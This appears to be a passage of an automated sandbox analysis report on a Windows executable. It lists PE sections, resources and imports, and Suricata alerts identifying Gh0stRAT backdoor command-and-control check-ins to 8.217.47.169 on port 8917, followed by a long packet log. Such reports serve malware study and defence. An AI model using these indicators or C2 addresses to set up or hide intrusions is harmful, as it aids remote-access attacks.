IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d75000	0xe58	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x17e00	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17e20	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x380	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe3c0	0xe400	74c9f413e23c91457ada02b035828ec6	False	0.5602042214912281	data	6.360089498833491	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x9c96	0x9e00	1b8182317a0d8e6cd95b38978641fbc6	False	0.4228144778481013	data	4.802779184711532	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x1d5ac80	0x1d58200	794aff82a6a5298243f654707e6052ad	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d75000	0xe58	0x1000	eb973d7d4e8ec7bd6e226dea768287a0	False	0.4375	data	4.484533884288873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1d76000	0x26f0	0x2800	d4f254994b637ef2ef36a284dda0b85d	False	0.312109375	data	4.28882495799986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1d76610	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4032258064516129
RT_ICON	0x1d768f8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 128	English	United States	0.41776315789473684
RT_ICON	0x1d76a28	0xb0	Device independent bitmap graphic, 32 x 32 x 1, image size 64	English	United States	0.45454545454545453
RT_ICON	0x1d76ad8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5472972972972973
RT_ICON	0x1d76c00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3835740072202166
RT_ICON	0x1d774a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.5455202312138728
RT_DIALOG	0x1d77a70	0x784	data	English	United States	0.3186070686070686
RT_DIALOG	0x1d781f8	0x252	data	English	United States	0.5218855218855218
RT_STRING	0x1d78450	0x6a	data	English	United States	0.6792452830188679
RT_GROUP_ICON	0x1d77a10	0x5a	data	English	United States	0.7777777777777778
RT_VERSION	0x1d762e0	0x330	data	English	United States	0.4644607843137255
RT_MANIFEST	0x1d784c0	0x22b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (495), with CRLF line terminators	English	United States	0.5315315315315315

Imports

DLL	Import
VERSION.dll	VerQueryValueA, GetFileVersionInfoA, GetFileVersionInfoSizeA
KERNEL32.dll	LoadLibraryA, GetProcAddress, FreeLibrary, lstrcatA, MultiByteToWideChar, lstrcpyA, WideCharToMultiByte, GlobalAlloc, GlobalFree, GlobalLock, LocalFree, FormatMessageA, GlobalUnlock, GetConsoleMode, GetConsoleCP, FlushFileBuffers, HeapReAlloc, HeapSize, GetLastError, GetStringTypeW, GetFileType, SetStdHandle, LCMapStringW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetCPInfo, GetOEMCP, IsValidCodePage, GetModuleFileNameA, SetFilePointerEx, WriteConsoleW, CreateFileW, GetProcessHeap, RtlPcToFileHeader, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, RtlUnwindEx, RaiseException, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, GetStdHandle, WriteFile, GetCurrentProcess, ExitProcess, TerminateProcess, GetModuleHandleExW, GetACP, HeapAlloc, CloseHandle, HeapFree, FindClose, FindFirstFileExA, VirtualAlloc
USER32.dll	EnableWindow, GetDlgItem, LoadIconA, SendMessageA, MoveWindow, MessageBoxA, SendDlgItemMessageA, GetWindowRect, MessageBoxW, EndDialog, GetSystemMetrics, DialogBoxParamA, wsprintfA, GetWindowTextA, SetWindowTextA
ole32.dll	StringFromGUID2, CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitializeEx
ADVAPI32.dll	RegDeleteKeyA, RegOpenKeyExA, RegEnumKeyExA, RegQueryValueA, RegCloseKey

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T10:12:54.154885+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.6	62788	8.217.47.169	8917	TCP
2025-01-05T10:12:56.382472+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.6	62789	8.217.47.169	8917	TCP
2025-01-05T10:12:59.159232+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.6	62790	8.217.47.169	8917	TCP
2025-01-05T10:13:16.082102+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.6	62796	8.217.47.169	8917	TCP
2025-01-05T10:13:18.989525+0100	2852901	ETPRO MALWARE Backdoor/Win.Gh0stRAT CnC Checkin	1	192.168.2.6	62797	8.217.47.169	8917	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 10:11:06.451349020 CET	62640	53	192.168.2.6	162.159.36.2
Jan 5, 2025 10:11:06.456192970 CET	53	62640	162.159.36.2	192.168.2.6
Jan 5, 2025 10:11:06.456377983 CET	62640	53	192.168.2.6	162.159.36.2
Jan 5, 2025 10:11:06.461307049 CET	53	62640	162.159.36.2	192.168.2.6
Jan 5, 2025 10:11:06.910214901 CET	62640	53	192.168.2.6	162.159.36.2
Jan 5, 2025 10:11:06.915297985 CET	53	62640	162.159.36.2	192.168.2.6
Jan 5, 2025 10:11:06.915363073 CET	62640	53	192.168.2.6	162.159.36.2
Jan 5, 2025 10:11:19.997628927 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:19.997648954 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:19.997750998 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:20.013128996 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:20.013144016 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.324529886 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.324629068 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.325287104 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.325544119 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.380542040 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.380548954 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.380814075 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.380871058 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.383354902 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.431330919 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.742856026 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.742922068 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.742938995 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.743066072 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.748908043 CET	62735	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.748927116 CET	443	62735	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.891222000 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.891241074 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:21.891326904 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.891575098 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:21.891587019 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.214683056 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.215507030 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.215965033 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.215975046 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.216151953 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.216160059 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.568893909 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.568917036 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.568999052 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.569015980 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.569056988 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.569211006 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.569255114 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.569993019 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.570031881 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.570056915 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.570065022 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.570089102 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.570107937 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.655627966 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.655668020 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.655693054 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.655714035 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.655729055 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.655746937 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.656410933 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.656436920 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.656460047 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.656467915 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.656492949 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.656507015 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.657226086 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.657280922 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.657946110 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.657999992 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.658314943 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.658365011 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.658917904 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.658945084 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.658966064 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.658972979 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.658982992 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.659009933 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.742386103 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.742464066 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.742517948 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.742569923 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.742676020 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.742721081 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.742803097 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.742856979 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.742858887 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.742868900 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.742902040 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743289948 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743330956 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743340969 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743350029 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743364096 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743372917 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743386984 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743393898 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743411064 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743441105 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743757010 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743805885 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743885994 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743930101 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743937016 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743947029 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743963957 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.743966103 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743985891 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.743993044 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744013071 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744039059 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744535923 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744573116 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744590998 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744596958 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744611979 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744621992 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744630098 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744633913 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744657993 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744663954 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744678974 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744682074 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.744719028 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.744728088 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.829237938 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829278946 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829328060 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.829344034 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829380989 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.829478025 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829530001 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.829699993 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829754114 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.829761028 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829777956 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.829794884 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.829826117 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.847084045 CET	62749	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.847105026 CET	443	62749	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.870385885 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.870424986 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:23.870497942 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.870695114 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:23.870708942 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.170664072 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.173551083 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.173979998 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.173989058 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.174189091 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.174194098 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.515902042 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.515922070 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.515963078 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.515990019 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.516052008 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.516066074 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.516091108 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.516124010 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.799988985 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800030947 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800045967 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800054073 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800066948 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800079107 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800101042 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800107002 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800118923 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800122976 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800172091 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800172091 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800184965 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800204039 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800215960 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800216913 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800228119 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800257921 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800260067 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:25.800266981 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:25.800302982 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.022313118 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.022356033 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.022433996 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.022452116 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.022464037 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.022490025 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.022810936 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.022864103 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.023576975 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.023608923 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.023639917 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.023648977 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.023659945 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.023686886 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.024405956 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.024462938 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.025382042 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.025415897 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.025440931 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.025449991 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.025461912 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.025486946 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.026242971 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.026285887 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.026293993 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.026299953 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.026329994 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.026345015 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.027163029 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.027194977 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.027209997 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.027215958 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.027240992 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.027251959 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.028052092 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.028105974 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.028984070 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.029036045 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.271042109 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.271083117 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.271156073 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.271171093 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.271202087 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.271223068 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276123047 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276170969 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276189089 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276196957 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276210070 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276221991 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276237965 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276242971 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276254892 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276268005 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276288986 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276299000 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276309013 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276331902 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276341915 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276345968 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276360989 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.276390076 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.276400089 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.306189060 CET	62762	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.306210041 CET	443	62762	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.338515997 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.338565111 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:26.338634014 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.338881016 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:26.338896036 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:27.668984890 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:27.669109106 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:27.669730902 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:27.669739008 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:27.669914961 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:27.669919968 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.027667999 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.027693033 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.027817965 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.027841091 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.027885914 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.027976990 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.028024912 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.029814005 CET	443	62774	39.103.20.34	192.168.2.6
Jan 5, 2025 10:11:28.029876947 CET	62774	443	192.168.2.6	39.103.20.34
Jan 5, 2025 10:11:28.029884100 CET	443	62774	39.103.20.34	192.168.2.6
